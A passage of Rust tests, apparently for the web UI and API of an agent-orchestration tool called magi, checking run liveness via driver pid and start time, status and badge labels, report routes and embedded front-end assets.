19501            legacy.as_object_mut().unwrap().remove("task_instruction");
19502            let dir = runs.join(&state.id);
19503            std::fs::create_dir_all(&dir).expect("run dir");
19504            let path = dir.join("run.json");
19505            let body = serde_json::to_vec_pretty(&legacy).expect("serialize legacy state");
19506            std::fs::write(&path, &body).expect("write legacy run");
19507
19508            for loaded in [
19509                RunState::load_under(&state.id, home.path()).expect("CLI migration"),
19510                read_run(&runs, &state.id).expect("web migration"),
19511            ] {
19512                assert_eq!(loaded.schema, crate::run::SCHEMA);
19513                assert!(loaded.task_instruction.is_none());
19514                assert_eq!(serde_json::to_value(loaded).unwrap(), expected);
19515            }
19516            assert_eq!(runs_unreadable(&runs), 0);
19517            assert_eq!(std::fs::read(&path).unwrap(), body);
19518        }
19519    }
19520
19521    /// Where a run came from is shown, and a run written before origins were
19522    /// recorded (schema 12, no `origin` key) stays readable and says so.
19523    #[tokio::test]
19524    async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
19525        let f = Fixture::start().await;
19526        let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
19527            let mut state = RunState::new(
19528                PathBuf::from("/repo/magi"),
19529                "main".to_owned(),
19530                "0123456789abcdef".to_owned(),
19531                "Add a web UI".to_owned(),
19532                Config::default(),
19533            );
19534            state.id = id.to_owned();
19535            state.origin = origin;
19536            let mut value = serde_json::to_value(&state).expect("serialize run");
19537            if let Some(schema) = schema {
19538                value["schema"] = serde_json::json!(schema);
19539                value.as_object_mut().unwrap().remove("origin");
19540            }
19541            let dir = f.runs().join(id);
19542            std::fs::create_dir_all(&dir).expect("run dir");
19543            std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
19544        };
19545        write(
19546            "20260930-092817-ec34",
19547            Some(crate::run::Origin::from_agent_env(
19548                Some(("4a7b".to_owned(), "chat".to_owned())),
19549                None,
19550            )),
19551            None,
19552        );
19553        write("20260930-092817-0ld1", None, Some(12));
19554
19555        let new = f.get("/api/runs/20260930-092817-ec34").await.json();
19556        assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
19557        assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
19558
19559        let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
19560        assert_eq!(
19561            old["origin_label"], "origin unknown (started before origins were recorded)",
19562            "{old}"
19563        );
19564        assert!(old["origin"].is_null(), "{old}");
19565
19566        let list = f.get("/api/runs").await.json();
19567        let labels: Vec<_> = list
19568            .as_array()
19569            .unwrap()
19570            .iter()
19571            .map(|r| r["origin_label"].as_str().unwrap().to_owned())
19572            .collect();
19573        assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
19574    }
19575
19576    #[tokio::test]
19577    async fn run_progress_observation_exposes_activity_without_control_evidence() {
19578        let f = Fixture::start().await;
19579        let mut state = RunState::new(
19580            PathBuf::from("/repo"),
19581            "main".into(),
19582            "abc".into(),
19583            "task".into(),
19584            Config::default(),
19585        );
19586        state.status = RunStatus::Implementing;
19587        state.seat_started(
19588            "implement",
19589            "implement-A",
19590            std::time::Duration::from_secs(60),
19591            0,
19592        );
19593        state.save_under(f.home.path()).unwrap();
19594        let observed = f
19595            .get(&format!("/api/runs/{}/progress", state.id))
19596            .await
19597            .json();
19598        assert_eq!(observed["id"], state.id);
19599        assert!(observed["observed_at"].is_string());
19600        assert_eq!(observed["updated_at"], state.updated_at.to_string());
19601        assert!(observed["progress"]["activity"].is_string());
19602        for field in [
19603            "config",
19604            "candidates",
19605            "land_approval",
19606            "task",
19607            "waiting",
19608            "done",
19609        ] {
19610            assert!(
19611                observed.get(field).is_none(),
19612                "progress must not expose control evidence: {field}"
19613            );
19614        }
19615    }
19616
19617    /// The gap `driver_pid` exists to close: a manual `magi run` / `magi
19618    /// review` claims no daemon at all, so before this field existed the
19619    /// route above read it as `"dead"` — indistinguishable from a run a
19620    /// killed process abandoned — the whole time it was genuinely still
19621    /// answering. With a live pid recorded, it must read `"live"` even
19622    /// though no daemon claims it.
19623    #[tokio::test]
19624    async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
19625        let f = Fixture::start().await;
19626        let id = "20260922-090000-cccc";
19627        let mut state = RunState::new(
19628            PathBuf::from("/repo/magi"),
19629            "main".to_owned(),
19630            "0123456789abcdef".to_owned(),
19631            "Review only".to_owned(),
19632            Config::default(),
19633        );
19634        state.id = id.to_owned();
19635        state.status = RunStatus::Reviewing;
19636        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
19637        // This test process's own pid: guaranteed alive, and never needs a
19638        // real daemon or a second process to prove it. The matching start-time
19639        // marker is what `liveness` now requires alongside a live pid — see
19640        // `RunState::driver_started_at`'s own doc for why the pid alone is
19641        // not enough.
19642        state.driver_pid = Some(std::process::id());
19643        state.driver_started_at = Some(
19644            crate::proc::process_started_at(std::process::id())
19645                .expect("this test process's own start time must be queryable"),
19646        );
19647        let dir = f.runs().join(id);
19648        std::fs::create_dir_all(&dir).expect("run dir");
19649        std::fs::write(
19650            dir.join("run.json"),
19651            serde_json::to_string_pretty(&state).expect("serialize run"),
19652        )
19653        .expect("write run.json");
19654
19655        let detail = f.get(&format!("/api/runs/{id}")).await.json();
19656        assert_eq!(detail["live"], "live", "{detail}");
19657    }
19658
19659    /// A killed manual run's pid can be handed to a wholly unrelated later
19660    /// process — a live query on `driver_pid` alone would read this as
19661    /// `"live"`, exactly the false positive `driver_started_at` exists to
19662    /// catch (see that field's own doc, and `RunState::liveness_with`'s
19663    /// pid-reuse test). The route must read it as `"dead"`, not `"live"`.
19664    #[tokio::test]
19665    async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
19666        let f = Fixture::start().await;
19667        let id = "20260922-090100-dddd";
19668        let mut state = RunState::new(
19669            PathBuf::from("/repo/magi"),
19670            "main".to_owned(),
19671            "0123456789abcdef".to_owned(),
19672            "Review only".to_owned(),
19673            Config::default(),
19674        );
19675        state.id = id.to_owned();
19676        state.status = RunStatus::Reviewing;
19677        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
19678        // This test process's own pid really is alive, but the marker
19679        // recorded here does not match what it actually started at —
19680        // standing in for the pid having since been reused by a different
19681        // process than the one that wrote `run.json`.
19682        state.driver_pid = Some(std::process::id());
19683        state.driver_started_at = Some("1".to_owned());
19684        let dir = f.runs().join(id);
19685        std::fs::create_dir_all(&dir).expect("run dir");
19686        std::fs::write(
19687            dir.join("run.json"),
19688            serde_json::to_string_pretty(&state).expect("serialize run"),
19689        )
19690        .expect("write run.json");
19691
19692        let detail = f.get(&format!("/api/runs/{id}")).await.json();
19693        assert_eq!(detail["live"], "dead", "{detail}");
19694    }
19695
19696    /// The deck's competition list is normally the first place an operator
19697    /// sees an old run. It must carry the same process verdict as detail, or
19698    /// its `reviewing` chip keeps falsely advertising a dead run as in flight.
19699    #[test]
19700    fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
19701        let mk = |id: &str, pid: Option<u32>| {
19702            let mut s = RunState::new(
19703                PathBuf::from("/repo/magi"),
19704                "main".to_owned(),
19705                "0123456789abcdef".to_owned(),
19706                "Add a web UI".to_owned(),
19707                Config::default(),
19708            );
19709            s.id = id.to_owned();
19710            s.driver_pid = pid;
19711            s.driver_started_at = Some("1790000000".to_owned());
19712            s
19713        };
19714        let states = vec![
19715            mk("20260902-140502-aaaa", Some(77)),
19716            mk("20260902-140502-bbbb", Some(77)),
19717            mk("20260902-140502-cccc", Some(77)),
19718            mk("20260902-140502-dddd", None),
19719        ];
19720        let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
19721        let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
19722        let sup: HashMap<String, String> = [(
19723            "20260902-140502-aaaa".to_owned(),
19724            "20260902-140502-cccc".to_owned(),
19725        )]
19726        .into();
19727
19728        let status_calls = std::cell::Cell::new(0);
19729        let identity_calls = std::cell::Cell::new(0);
19730        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
19731            |_| {
19732                status_calls.set(status_calls.get() + 1);
19733                Some(true)
19734            },
19735            |_| {
19736                identity_calls.set(identity_calls.get() + 1);
19737                Some("1790000000".to_owned())
19738            },
19739        ));
19740        let rows = summarize(
19741            states,
19742            &open,
19743            &claimed,
19744            &sup,
19745            |p| probe.borrow_mut().status(p),
19746            |p| probe.borrow_mut().started_at(p),
19747        );
19748
19749        assert_eq!(status_calls.get(), 1, "one pid, one status query");
19750        assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
19751        assert_eq!(rows.len(), 4);
19752        assert!(!rows[0].waiting && rows[1].waiting);
19753        assert_eq!(rows[0].live, crate::run::Liveness::Live);
19754        assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
19755        assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
19756        assert_eq!(rows[1].superseded_by, None);
19757    }
19758
19759    #[test]
19760    fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
19761        let mut state = RunState::new(
19762            PathBuf::from("/repo/magi"),
19763            "main".to_owned(),
19764            "0123456789abcdef".to_owned(),
19765            "Review only".to_owned(),
19766            Config::default(),
19767        );
19768        state.id = "20260922-090200-dead".to_owned();
19769        state.status = RunStatus::Reviewing;
19770        let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
19771            .expect("serialize list row");
19772        assert_eq!(row["status"], "reviewing");
19773        assert_eq!(row["display_status"], "stale");
19774        assert_eq!(row["live"], "dead", "{row}");
19775        assert!(!row["done"].as_bool().unwrap());
19776    }
19777
19778    #[test]
19779    fn run_display_status_distinguishes_park_crash_and_owner_wait() {
19780        use crate::run::Liveness::{Dead, Live, Unknown};
19781        let mut state = RunState::new(
19782            PathBuf::from("/repo/magi"),
19783            "main".to_owned(),
19784            "abc".to_owned(),
19785            "Review only".to_owned(),
19786            Config::default(),
19787        );
19788        for (status, parked, node, waiting, live, expected) in [
19789            (
19790                RunStatus::Judging,
19791                true,
19792                "github-text",
19793                false,
19794                Dead,
19795                "parked",
19796            ),
19797            (RunStatus::Judging, false, "park", false, Dead, "stale"),
19798            (RunStatus::Judging, false, "judge", false, Dead, "stale"),
19799            (
19800                RunStatus::Judging,
19801                true,
19802                "github-text",
19803                true,
19804                Dead,
19805                "waiting",
19806            ),
19807            (
19808                RunStatus::Judging,
19809                false,
19810                "github-text",
19811                true,
19812                Dead,
19813                "waiting",
19814            ),
19815            (
19816                RunStatus::Judging,
19817                false,
19818                "github-text",
19819                false,
19820                Dead,
19821                "stale",
19822            ),
19823            (RunStatus::Judging, false, "resume", false, Dead, "stale"),
19824            (RunStatus::Judging, true, "park", false, Live, "judging"),
19825            (RunStatus::Judging, true, "park", false, Unknown, "judging"),
19826            (RunStatus::Merged, true, "park", false, Dead, "merged"),
19827            (RunStatus::Blocked, true, "park", false, Dead, "blocked"),
19828            (
19829                RunStatus::Blocked,
19830                true,
19831                "github-text",
19832                true,
19833                Dead,
19834                "waiting",
19835            ),
19836        ] {
19837            state.status = status;
19838            state.parked = parked;
19839            state.events.clear();
19840            state.event(
19841                "park",
19842                "an earlier park does not determine the latest state",
19843            );
19844            state.event(node, "message is not used for classification");
19845            let summary = RunSummary::of(&state, waiting, live);
19846            let detail = RunDetailView::of(state.clone(), waiting, live, None, None, None);
19847            assert_eq!(
19848                summary.display_status, expected,
19849                "{status:?}/{node}/{live:?}"
19850            );
19851            assert_eq!(detail.display_status, summary.display_status);
19852            assert_eq!(detail.waiting, summary.waiting);
19853        }
19854        state.status = RunStatus::Judging;
19855        state.parked = false;
19856        state.events.clear();
19857        assert_eq!(run_display_status(&state, false, Dead), "stale");
19858    }
19859
19860    #[test]
19861    fn badge_status_prefers_superseded_then_stale_and_spares_live_and_terminal() {
19862        use crate::run::Liveness::{Dead, Live, Unknown};
19863        let mut state = RunState::new(
19864            PathBuf::from("/repo/magi"),
19865            "main".to_owned(),
19866            "abc".to_owned(),
19867            "Badge".to_owned(),
19868            Config::default(),
19869        );
19870        for (status, waiting, live, superseded, expected) in [
19871            (RunStatus::Gating, false, Dead, false, "stale"),
19872            (RunStatus::Gating, false, Dead, true, "superseded"),
19873            (RunStatus::Gating, false, Unknown, true, "superseded"),
19874            (RunStatus::Gating, true, Dead, true, "superseded"),
19875            (RunStatus::Gating, true, Dead, false, "waiting"),
19876            (RunStatus::Gating, false, Unknown, false, "gating"),
19877            (RunStatus::Gating, false, Live, true, "gating"),
19878            (RunStatus::Gating, true, Live, true, "waiting"),
19879            (RunStatus::Merged, false, Dead, true, "merged"),
19880            (RunStatus::Blocked, false, Dead, true, "blocked"),
19881        ] {
19882            state.status = status;
19883            let display = run_display_status(&state, waiting, live);
19884            assert_eq!(
19885                run_badge_status(&state, &display, live, superseded),
19886                expected,
19887                "{status:?}/{live:?}/superseded={superseded}"
19888            );
19889        }
19890    }
19891
19892    #[test]
19893    fn summarize_and_detail_expose_badge_status() {
19894        use crate::run::Liveness::Dead;
19895        let mut state = RunState::new(
19896            PathBuf::from("/repo/magi"),
19897            "main".to_owned(),
19898            "abc".to_owned(),
19899            "Badge".to_owned(),
19900            Config::default(),
19901        );
19902        state.status = RunStatus::Gating;
19903        let none = HashSet::new();
19904        let id = state.id.clone();
19905        let mut by = HashMap::new();
19906        let rows = summarize(
19907            [state.clone()],
19908            &none,
19909            &none,
19910            &by,
19911            |_| Some(false),
19912            |_| None,
19913        );
19914        // No driver recorded: liveness is not provably dead, so the node stays.
19915        assert_eq!(rows[0].badge_status, rows[0].display_status);
19916        by.insert(id, "20260901-000000-913b".to_owned());
19917        let detail = RunDetailView::of(
19918            state.clone(),
19919            false,
19920            Dead,
19921            Some("913b".to_owned()),
19922            None,
19923            None,
19924        );
19925        assert_eq!(detail.badge_status, "superseded");
19926        let json = serde_json::to_value(&detail).unwrap();
19927        assert_eq!(json["badge_status"], "superseded");
19928        let detail = RunDetailView::of(state, false, Dead, None, None, None);
19929        assert_eq!(detail.badge_status, "stale");
19930    }
19931
19932    #[tokio::test]
19933    async fn run_display_status_routes_share_the_open_question_store() {
19934        let f = Fixture::start().await;
19935        let id = "20260922-090200-abcd";
19936        write_run(&f.runs(), id, RunStatus::Judging);
19937        let mut state = read_run(&f.runs(), id).unwrap();
19938        state.parked = true;
19939        state.driver_exited = true;
19940        state.event("github-text", "waiting for the owner");
19941        state.save_under(f.home.path()).unwrap();
19942        let mut task = Task::new(
19943            "resumed task".to_owned(),
19944            "do it".to_owned(),
19945            PathBuf::from("/repo"),
19946            Source::Human,
19947        );
19948        task.runs = vec![id.to_owned(), id.to_owned()];
19949        f.queue().put(&mut task).unwrap();
19950        let store = f.questions();
19951        let mut q = Question::new(
19952            id.to_owned(),
19953            "github-text".to_owned(),
19954            "owner".to_owned(),
19955            "Approve the text?".to_owned(),
19956            String::new(),
19957            Vec::new(),
19958        );
19959        store.put(&mut q).unwrap();
19960        for expected in ["waiting", "parked"] {
19961            let list = f.get("/api/runs").await.json();
19962            let detail = f.get(&format!("/api/runs/{id}")).await.json();
19963            assert_eq!(list[0]["display_status"], expected);
19964            assert_eq!(detail["display_status"], expected);
19965            assert_eq!(detail["waiting"], list[0]["waiting"]);
19966            assert_eq!(list[0]["badge_status"], expected);
19967            assert_eq!(detail["badge_status"], expected);
19968            assert!(list[0]["superseded_by"].is_null());
19969            assert!(detail["superseded_by"].is_null());
19970            let task_detail = f.get(&format!("/api/queue/{}", task.id)).await.json();
19971            let history = task_detail["history"].as_array().unwrap();
19972            assert_eq!(history.len(), 2);
19973            assert!(history[0]["badge"].is_null());
19974            assert_eq!(history[1]["badge"], expected);
19975            q.status = ask::QuestionStatus::Answered;
19976            store.put(&mut q).unwrap();
19977        }
19978    }
19979
19980    #[tokio::test]
19981    async fn a_resumed_crashed_driver_is_stale_despite_its_last_park_event() {
19982        let f = Fixture::start().await;
19983        let id = "20260922-090200-abcd";
19984        write_run(&f.runs(), id, RunStatus::Judging);
19985        let mut state = read_run(&f.runs(), id).unwrap();
19986        state.parked = true;
19987        state.driver_exited = true;
19988        state.event("park", "stopped at a node boundary");
19989        state.save_under(f.home.path()).unwrap();
19990
19991        for expected in ["parked", "stale"] {
19992            let list = f.get("/api/runs").await.json();
19993            let detail = f.get(&format!("/api/runs/{id}")).await.json();
19994            assert_eq!(list[0]["live"], "dead");
19995            assert_eq!(list[0]["display_status"], expected);
19996            assert_eq!(detail["display_status"], expected);
19997            // Model a driver claim followed by a crash before the next event:
19998            // the persisted flag changes, but the last event is still park.
19999            state.parked = false;
20000            state.save_under(f.home.path()).unwrap();
20001        }
20002    }
20003
20004    #[tokio::test]
20005    async fn the_run_list_is_newest_first_and_honours_a_limit() {
20006        let f = Fixture::start().await;
20007        for id in [
20008            "20260902-140501-aaaa",
20009            "20260902-140502-bbbb",
20010            "20260902-140503-cccc",
20011        ] {
20012            write_run(&f.runs(), id, RunStatus::Merged);
20013        }
20014
20015        let all = f.get("/api/runs").await.json();
20016        let capped = f.get("/api/runs?limit=2").await.json();
20017
20018        assert_eq!(all[0]["id"], "20260902-140503-cccc");
20019        assert_eq!(all.as_array().map(Vec::len), Some(3));
20020        assert_eq!(capped.as_array().map(Vec::len), Some(2));
20021        assert_eq!(capped[0]["id"], "20260902-140503-cccc");
20022    }
20023
20024    #[tokio::test]
20025    async fn the_report_route_serves_the_terminal_report_as_plain_text() {
20026        let f = Fixture::start().await;
20027        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
20028
20029        let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
20030
20031        assert_eq!(res.status, 200);
20032        assert!(
20033            res.headers
20034                .contains("content-type: text/plain; charset=utf-8"),
20035            "a browser must render it, not download it: {}",
20036            res.headers
20037        );
20038        // The assertion is on content, not on the absence of escapes: colour
20039        // is a process-global that `serve` turns off at startup, and another
20040        // test in this binary may own it while this one runs.
20041        assert!(
20042            res.body.contains("20260902-140501-a1b2"),
20043            "the report is about the run that was asked for: {}",
20044            res.body
20045        );
20046    }
20047
20048    #[tokio::test]
20049    async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
20050        // The view names the run's state directory, which reads the process-global home.
20051        crate::run::pin_test_home();
20052        let f = Fixture::start().await;
20053        let id = "20260902-140501-a1b2";
20054        write_run(&f.runs(), id, RunStatus::Stalled);
20055        // A stalled panel and one review round, written through the real
20056        // state file so the route reads what a run really leaves behind.
20057        let path = f.runs().join(id).join("run.json");
20058        let mut v: serde_json::Value =
20059            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
20060        v["tally"] = serde_json::json!({
20061            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
20062            "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
20063            "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
20064            "met_quorum": false, "rankings": 1
20065        });
20066        v["reviews"] = serde_json::json!([{
20067            "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
20068            "e2e_deferred": true,
20069            "reviews": [{"reviewer": 1, "agent": "a", "findings": [
20070                {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
20071            ]}]
20072        }]);
20073        std::fs::write(&path, v.to_string()).unwrap();
20074        write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
20075        std::fs::write(
20076            f.runs().join("20260902-140502-dead").join("run.json"),
20077            "{not json",
20078        )
20079        .unwrap();
20080
20081        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
20082
20083        assert_eq!(res.status, 200, "{}", res.body);
20084        assert!(res.headers.contains("content-type: application/json"));
20085        let j = res.json();
20086        assert_eq!(j["schema"], 1);
20087        assert_eq!(j["header"]["id"], id);
20088        assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
20089        let kinds: Vec<&str> = j["sections"]
20090            .as_array()
20091            .unwrap()
20092            .iter()
20093            .map(|s| s["kind"].as_str().unwrap())
20094            .collect();
20095        assert_eq!(kinds, ["candidates", "tally", "review"]);
20096        let tally = &j["sections"][1]["tally"];
20097        assert_eq!(
20098            (tally["decided"].clone(), tally["provisional"].clone()),
20099            (false.into(), true.into())
20100        );
20101        let round = &j["sections"][2]["rounds"][0];
20102        assert_eq!(round["e2e"]["state"], "deferred");
20103        assert_eq!(round["findings"][0]["severity"], "major");
20104        assert_eq!(round["findings"][0]["blocking"], true);
20105        assert_eq!(round["findings"][0]["state"], "open");
20106
20107        // The raw route keeps working beside it.
20108        assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
20109
20110        // An unreadable run is an error, as on the text route, and is counted.
20111        let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
20112        assert_ne!(bad.status, 200, "{}", bad.body);
20113        assert_eq!(
20114            bad.status,
20115            f.get("/api/runs/20260902-140502-dead/report").await.status
20116        );
20117        assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
20118        assert_eq!(
20119            f.get("/api/runs/20260902-999999-ffff/report.json")
20120                .await
20121                .status,
20122            404
20123        );
20124    }
20125
20126    #[tokio::test]
20127    async fn the_report_json_route_serves_deliberation_turns_with_markdown_bodies() {
20128        crate::run::pin_test_home();
20129        let f = Fixture::start().await;
20130        let id = "20260902-140503-delib";
20131        write_run(&f.runs(), id, RunStatus::Merged);
20132        let path = f.runs().join(id).join("run.json");
20133        let mut v: serde_json::Value =
20134            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
20135        v["judgements"] = serde_json::json!([
20136            {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
20137        ]);
20138        v["tally"] = serde_json::json!({
20139            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
20140            "unanimous_initial": false, "deliberated": true, "changed_votes": 0,
20141            "unanimous_final": true, "judges": 1, "present": 1, "quorum": 1,
20142            "met_quorum": true, "rankings": 1
20143        });
20144        v["deliberation"] = serde_json::json!([
20145            {
20146                "round": 1,
20147                "turns": [
20148                    {
20149                        "judge": 1,
20150                        "agent": "judge-1",
20151                        "body": "I prefer candidate **A** because it has cleaner tests.",
20152                        "tentative": "A"
20153                    }
20154                ]
20155            },
20156            {
20157                "round": 2,
20158                "turns": [
20159                    {
20160                        "judge": 1,
20161                        "agent": "judge-1",
20162                        "body": "Still thinking, no choice yet.",
20163                        "tentative": null
20164                    }
20165                ]
20166            }
20167        ]);
20168        std::fs::write(&path, v.to_string()).unwrap();
20169
20170        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
20171        assert_eq!(res.status, 200, "{}", res.body);
20172        let j = res.json();
20173        let judging = j["sections"]
20174            .as_array()
20175            .unwrap()
20176            .iter()
20177            .find(|s| s["kind"] == "judging")
20178            .expect("judging section exists");
20179
20180        // Existing summary lines remain intact
20181        let delib_lines = judging["deliberation"].as_array().unwrap();
20182        assert_eq!(delib_lines.len(), 2);
20183        assert_eq!(delib_lines[0], "r1 judge 1 -> A");
20184        assert_eq!(delib_lines[1], "r2 judge 1 -> -");
20185
20186        // rounds carry turn bodies, tentative and parsed body_md
20187        let rounds = judging["rounds"].as_array().unwrap();
20188        assert_eq!(rounds.len(), 2);
20189        let r1_t0 = &rounds[0]["turns"][0];
20190        assert_eq!(r1_t0["judge"], 1);
20191        assert_eq!(r1_t0["agent"], "judge-1");
20192        assert_eq!(r1_t0["tentative"], "A");
20193        assert_eq!(
20194            r1_t0["body"],
20195            "I prefer candidate **A** because it has cleaner tests."
20196        );
20197        assert!(!r1_t0["body_md"].as_array().unwrap().is_empty());
20198
20199        let r2_t0 = &rounds[1]["turns"][0];
20200        assert_eq!(r2_t0["judge"], 1);
20201        assert_eq!(r2_t0["agent"], "judge-1");
20202        assert!(r2_t0["tentative"].is_null());
20203        assert_eq!(r2_t0["body"], "Still thinking, no choice yet.");
20204        assert!(!r2_t0["body_md"].as_array().unwrap().is_empty());
20205
20206        // A run with empty deliberation array yields empty rounds
20207        let id_empty = "20260902-140504-nodelib";
20208        write_run(&f.runs(), id_empty, RunStatus::Merged);
20209        let path_empty = f.runs().join(id_empty).join("run.json");
20210        let mut v_empty: serde_json::Value =
20211            serde_json::from_str(&std::fs::read_to_string(&path_empty).unwrap()).unwrap();
20212        v_empty["judgements"] = serde_json::json!([
20213            {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
20214        ]);
20215        v_empty["deliberation"] = serde_json::json!([]);
20216        std::fs::write(&path_empty, v_empty.to_string()).unwrap();
20217
20218        let res_empty = f.get(&format!("/api/runs/{id_empty}/report.json")).await;
20219        assert_eq!(res_empty.status, 200, "{}", res_empty.body);
20220        let j_empty = res_empty.json();
20221        let judging_empty = j_empty["sections"]
20222            .as_array()
20223            .unwrap()
20224            .iter()
20225            .find(|s| s["kind"] == "judging")
20226            .expect("judging section exists");
20227        assert_eq!(judging_empty["rounds"].as_array().unwrap().len(), 0);
20228    }
20229
20230    #[tokio::test]
20231    async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
20232        let f = Fixture::start().await;
20233
20234        let html = f.get("/").await;
20235        let css = f.get("/app.css").await;
20236        let js = f.get("/app.js").await;
20237
20238        assert_eq!((html.status, css.status, js.status), (200, 200, 200));
20239        assert!(
20240            html.headers
20241                .contains("content-type: text/html; charset=utf-8")
20242        );
20243        assert!(css.headers.contains("content-type: text/css"));
20244        assert!(js.headers.contains("content-type: text/javascript"));
20245        assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
20246    }
20247
20248    #[test]
20249    fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
20250        let body = |name: &str| {
20251            let at = APP_JS
20252                .find(name)
20253                .unwrap_or_else(|| panic!("{name} missing"));
20254            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
20255        };
20256        assert!(body("function roundRail").contains("if (round <= 0) return null;"));
20257        let note = body("function landRoundNote");
20258        assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
20259        assert!(note.contains("Land round ${round}"));
20260        let land = body("function renderLand");
20261        let note_at = land
20262            .find("landRoundNote(pr)")
20263            .expect("renderLand uses the note");
20264        assert!(
20265            note_at
20266                < land
20267                    .find("roundRail(pr)")
20268                    .expect("renderLand uses the rail")
20269        );
20270    }
20271
20272    #[test]
20273    fn the_runs_page_redesign_keeps_its_guards() {
20274        let body = |name: &str| {
20275            let at = APP_JS
20276                .find(name)
20277                .unwrap_or_else(|| panic!("{name} missing"));
20278            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
20279        };
20280        // A null child must never reach the native append (it prints "null").
20281        let land = body("function renderLand");
20282        let land = &land[..land.find("function followupList").unwrap_or(land.len())];
20283        assert!(
20284            !land.contains("box.append("),
20285            "renderLand must use append()"
20286        );
20287        assert!(land.contains("append(box, ["));
20288        // Tabs are hash routes; the run id alone decides a reload.
20289        assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
20290        assert!(
20291            body("function applyRoute")
20292                .contains("route.name !== state.route.name || route.id !== state.route.id")
20293        );
20294        // The decorative diagram is gone, the strip and its guards stay.
20295        assert!(!APP_JS.contains("adviseConvergeDiagram"));
20296        assert!(!INDEX_HTML.contains("advise-converge"));
20297        assert!(INDEX_HTML.contains("id=\"advise-strip\""));
20298        assert!(APP_JS.contains("provisional"));
20299        for id in [
20300            "run-tab-overview",
20301            "run-tab-timeline",
20302            "run-tab-report",
20303            "run-report",
20304            "runs-scope",
20305        ] {
20306            assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
20307        }
20308        assert!(!INDEX_HTML.contains("runs-tree"));
20309        assert!(!INDEX_HTML.contains("run-raw-panel"));
20310        // Fold still says it cannot be resumed.
20311        assert!(APP_JS.contains("resume"));
20312        // The unreadable-runs count stays on the page.
20313        assert!(APP_JS.contains("unreadable"));
20314    }
20315
20316    #[test]
20317    fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
20318        assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
20319        assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
20320        assert!(APP_JS.contains("setText(\n      $(\"stats-unreadable-text\")"));
20321        assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
20322        assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
20323        // The subtitle still counts them whatever the banner does.
20324        assert!(APP_JS.contains("unreadable` : null"));
20325    }
20326
20327    #[test]
20328    fn blocked_run_detail_exposes_the_failed_gate_reason() {
20329        let mut state = RunState::new(
20330            "/repo".into(),
20331            "main".into(),
20332            "abc".into(),
20333            "task".into(),
20334            crate::config::Config::default(),
20335        );
20336        state.status = RunStatus::Blocked;
20337        state.gate_ran = true;
20338        state.gate.push(crate::run::CommandOutcome {
20339            command: "cargo make check".into(),
20340            code: Some(1),
20341            output_tail: "test web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message ... FAILED\ntest result: FAILED. 1813 passed; 1 failed; 0 ignored;".into(),
20342            duration_ms: 0,
20343            resource_blocked: false,
20344        });
20345        let view = RunDetailView::of(
20346            state,
20347            false,
20348            crate::run::Liveness::Unknown,
20349            None,
20350            None,
20351            None,
20352        );
20353        let value = serde_json::to_value(view).unwrap();
20354        assert_eq!(
20355            value["stop_reason"],
20356            "Gate failed: cargo make check — web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message (1 failed)"
20357        );
20358    }
20359
20360    #[test]
20361    fn the_run_detail_payload_says_whether_the_run_is_done() {
20362        // `landView` reads `run.done`; the detail response must carry it.
20363        for (status, done) in [
20364            (RunStatus::Superseded, true),
20365            (RunStatus::Blocked, true),
20366            (RunStatus::Landing, false),
20367        ] {
20368            let mut state = RunState::new(
